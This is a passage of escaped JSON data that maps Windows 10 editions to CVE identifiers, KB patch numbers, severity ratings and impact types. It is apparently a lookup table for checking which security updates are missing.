Execution\"},{\"cve\":\"CVE-2016-0040\",\"kb\":\"3135174\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0063\",\"kb\":\"3135174\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0099\",\"kb\":\"3140745\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0151\",\"kb\":\"3147461\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2016-0189\",\"kb\":\"3156387\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3163017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3237\",\"kb\":\"3192440\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7200\",\"kb\":\"3198585\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7201\",\"kb\":\"3198585\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3198585\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3198585\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4012606\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012606\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012606\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4012606\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4012606\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4012606\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4012606\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4012606\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0213\",\"kb\":\"4019474\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4019474\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4042895\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11823\",\"kb\":\"4042895\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-11830\",\"kb\":\"4048956\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4053581\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8464\",\"kb\":\"4022727\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8473\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4025338\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4038781\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4038781\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4038781\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4038781\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4038781\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038781\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056893\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056893\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0752\",\"kb\":\"4056893\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0821\",\"kb\":\"4074596\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0822\",\"kb\":\"4074596\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103716\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0832\",\"kb\":\"4074596\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103716\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4088786\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4088786\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4088786\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0952\",\"kb\":\"4343892\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093111\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103716\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457132\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462922\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462922\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457132\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462922\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467680\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467680\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8584\",\"kb\":\"4467680\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103716\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480962\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480962\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4487018\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480962\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0571\",\"kb\":\"4480962\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0572\",\"kb\":\"4480962\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0573\",\"kb\":\"4480962\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0574\",\"kb\":\"4480962\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0730\",\"kb\":\"4493475\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0731\",\"kb\":\"4493475\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0732\",\"kb\":\"4493475\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2019-0735\",\"kb\":\"4493475\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0796\",\"kb\":\"4493475\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0805\",\"kb\":\"4493475\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0836\",\"kb\":\"4493475\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1069\",\"kb\":\"4503291\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-1458\",\"kb\":\"4530681\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0642\",\"kb\":\"4534306\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0668\",\"kb\":\"4537776\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-0787\",\"kb\":\"4540693\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1027\",\"kb\":\"4550930\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1048\",\"kb\":\"4556826\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1054\",\"kb\":\"4556826\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1337\",\"kb\":\"4571692\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2020-1464\",\"kb\":\"4571692\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2020-24587\",\"kb\":\"5003172\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2020-24588\",\"kb\":\"5003172\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2021-1675\",\"kb\":\"5003687\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-24091\",\"kb\":\"4601331\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-27094\",\"kb\":\"5001340\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-28447\",\"kb\":\"5001340\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2021-34527\",\"kb\":\"5004950\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40444\",\"kb\":\"5005569\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2021-40449\",\"kb\":\"5006675\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2022-30190\",\"kb\":\"5014710\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2023-28252\",\"kb\":\"5025234\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-29336\",\"kb\":\"5026382\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2023-36874\",\"kb\":\"5028186\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38193\",\"kb\":\"5041782\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-38217\",\"kb\":\"5043083\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2024-49138\",\"kb\":\"5048703\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2024-7344\",\"kb\":\"5050013\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-24054\",\"kb\":\"5053618\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24071\",\"kb\":\"5053618\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-24985\",\"kb\":\"5053618\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-26633\",\"kb\":\"5053618\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-29824\",\"kb\":\"5055547\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-30397\",\"kb\":\"5058387\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-32706\",\"kb\":\"5058387\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2025-33053\",\"kb\":\"5060998\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-47827\",\"kb\":\"5066837\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2025-47981\",\"kb\":\"5062561\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2025-50154\",\"kb\":\"5063889\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2025-53149\",\"kb\":\"5063889\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Windows 10 for x64-based Systems\":[{\"cve\":\"CVE-2015-2433\",\"kb\":\"3081434\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3081434\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3081434\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3081434\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3081434\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3081434\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3081434\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3081434\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3081434\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2502\",\"kb\":\"3081444\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2507\",\"kb\":\"3081455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2512\",\"kb\":\"3081455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2524\",\"kb\":\"3081455\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2525\",\"kb\":\"3081455\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2527\",\"kb\":\"3081455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2552\",\"kb\":\"3097617\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2553\",\"kb\":\"3097617\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-2554\",\"kb\":\"3097617\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-6100\",\"kb\":\"3105213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6101\",\"kb\":\"3105213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6103\",\"kb\":\"3105213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6104\",\"kb\":\"3105213\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6132\",\"kb\":\"3116869\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6152\",\"kb\":\"3116869\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-6168\",\"kb\":\"3116869\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0006\",\"kb\":\"3124266\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0007\",\"kb\":\"3124266\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0015\",\"kb\":\"3124266\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0016\",\"kb\":\"3124266\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0040\",\"kb\":\"3135174\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0063\",\"kb\":\"3135174\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0099\",\"kb\":\"3140745\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-0151\",\"kb\":\"3147461\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2016-0189\",\"kb\":\"3156387\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-0199\",\"kb\":\"3163017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-3237\",\"kb\":\"3192440\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2016-3351\",\"kb\":\"3185611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7200\",\"kb\":\"3198585\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7201\",\"kb\":\"3198585\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7241\",\"kb\":\"3198585\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2016-7255\",\"kb\":\"3198585\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0005\",\"kb\":\"4012606\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0022\",\"kb\":\"4012606\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012606\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0144\",\"kb\":\"4012606\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0145\",\"kb\":\"4012606\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0146\",\"kb\":\"4012606\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0147\",\"kb\":\"4012606\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0148\",\"kb\":\"4012606\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-0213\",\"kb\":\"4019474\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-0263\",\"kb\":\"4019474\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2017-11785\",\"kb\":\"4042895\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-11823\",\"kb\":\"4042895\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-11830\",\"kb\":\"4048956\",\"severity\":\"Important\",\"impact\":\"Security Feature Bypass\"},{\"cve\":\"CVE-2017-11885\",\"kb\":\"4053581\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8462\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8464\",\"kb\":\"4022727\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8470\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8471\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8473\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8476\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8478\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8479\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8480\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8481\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8482\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8484\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8485\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8489\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8491\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8492\",\"kb\":\"4022727\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8564\",\"kb\":\"4025338\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8678\",\"kb\":\"4038781\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8681\",\"kb\":\"4038781\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8682\",\"kb\":\"4038781\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2017-8683\",\"kb\":\"4038781\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8687\",\"kb\":\"4038781\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2017-8708\",\"kb\":\"4038781\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0748\",\"kb\":\"4056893\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0749\",\"kb\":\"4056893\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0752\",\"kb\":\"4056893\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0821\",\"kb\":\"4074596\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0822\",\"kb\":\"4074596\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0824\",\"kb\":\"4103716\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0832\",\"kb\":\"4074596\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0886\",\"kb\":\"4103716\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-0894\",\"kb\":\"4088786\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0897\",\"kb\":\"4088786\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0901\",\"kb\":\"4088786\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-0952\",\"kb\":\"4343892\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-0975\",\"kb\":\"4093111\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2018-8174\",\"kb\":\"4103716\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8410\",\"kb\":\"4457132\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8411\",\"kb\":\"4462922\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8423\",\"kb\":\"4462922\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8440\",\"kb\":\"4457132\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8453\",\"kb\":\"4462922\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8544\",\"kb\":\"4467680\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2018-8550\",\"kb\":\"4467680\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8584\",\"kb\":\"4467680\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2018-8897\",\"kb\":\"4103716\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0543\",\"kb\":\"4480962\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0552\",\"kb\":\"4480962\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0555\",\"kb\":\"4487018\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0570\",\"kb\":\"4480962\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2019-0571\",\"kb\":\"4480962\",\"severity\":\"Important\",\"impact\":\"Elevation of 